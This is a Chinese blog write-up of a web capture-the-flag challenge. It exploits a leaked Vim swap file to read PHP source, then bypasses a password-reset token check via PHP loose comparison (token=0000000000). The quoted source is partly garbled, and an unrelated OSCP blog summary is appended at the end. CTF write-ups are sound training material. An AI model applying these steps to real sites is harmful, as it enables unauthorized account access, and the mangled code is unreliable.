实验吧-忘记密码了?writeup

知识点:vim产生的备份文件.swp

1.打开链接发现就是页面,什么提示也没有
http://ctf5.shiyanbar.com/10/upload/step1.php?emailAddress=

2.我们直接构造了一个邮箱发送:它显示
你邮箱收到的重置密码链接为 ./step2.php?email=youmail@mail.com&check=???????

3.然后访问这个地址,发现它会马上跳转到step1,所以我们直接查看这个step2.php的源代码.
http://ctf5.shiyanbar.com/10/upload/./step2.php

4.发现一些重要的东西:
<meta name=”admin” content=”admin@simplexue.com” />
<meta name=”editor” content=”Vim” />
<form action=”submit.php” method=”GET”>
<h1>找回密码step2</h1>
email:<input name=”emailAddress” type=”text” value=”test@test.com”  disable=”true”/></br>
token:<input name=”token” type=”text” /></br>
<input type=”submit” value=”提交”>
</form>
发现它是发送到submit.php这个页面去进行验证的,所以说我们只需要可以查看到这个页面的php代码就解决了一切.

5.访问这个页面:http://ctf5.shiyanbar.com/10/upload/submit.php
发现显示you are not an admin

6.抓取数据包从setp2开始分析,发现我们应该传递两个Get数据参数给这个submit.php才可以
这个时候就要用到我们前面看到的admin@simplexue.com
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=
没有显示错误,说明admin@simplexue.com是这个邮箱 , 但是我们给token赋值时还是有错误 , 所以要想办法得得token的值.
但是怎么得到呢?这个时候我就不会了…..
查百度吧,发现了其中的奥秘,
通过源代码,发现是通过vim编写的,一般的vim编写可能会产生遗留问题,就是一个备份文件.swp;

7.既然vim编写有这样的bug,所以我们可以利用一下,看看是否能利用上:
http://ctf5.shiyanbar.com/10/upload/./submit.php.swp
浏览器显示:Not Found
继续百度:
VIM产生的备份文件和临时文件如何访问:
1.http://www.cnblogs.com/zwfc/p/5466885.html
2.http://www.jb51.net/article/110312.htm(没有讲清楚,但是你按着它讲的每一种方法去结合使用就成功了)

找到文章后,立马去测试:
访问:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp
发现可以查看源代码了,哈哈,既然可以查看 , 那么基本上就解决了问题.

8.分析它的源代码:
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, ‘****涓嶅彲瑙�***’, ‘***涓嶅彲瑙�***’, 0); ->token为0插入到数据库中

if(!empty( token)&amp;&amp;!empty(emailAddress)){ ->邮箱和token都不可以为空
if(strlen( token)!=10)die(fail);>token10if( token!=’0’) die(‘fail’); ->如果token不等于’0’那么就输出错误
sql="SELECTcount()asnumfromuserwheretoken= token’ AND email=’ emailAddress; r = mysql_query( sql)ordie(dberror); r = mysql_fetch_assoc( r); r = r[num];if( r>0){
echo $flag;
}else{
echo “澶辫触浜嗗憖”;
}
}

既然分析了它的源代码,那我们就可以构造token了
有什么办法可以让10位的一个值等于0呢?
因为php是弱类型语言, 所以当成0000000000只要不用===号判断 那么就相当于0

9.获得flag:
构造语句:
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值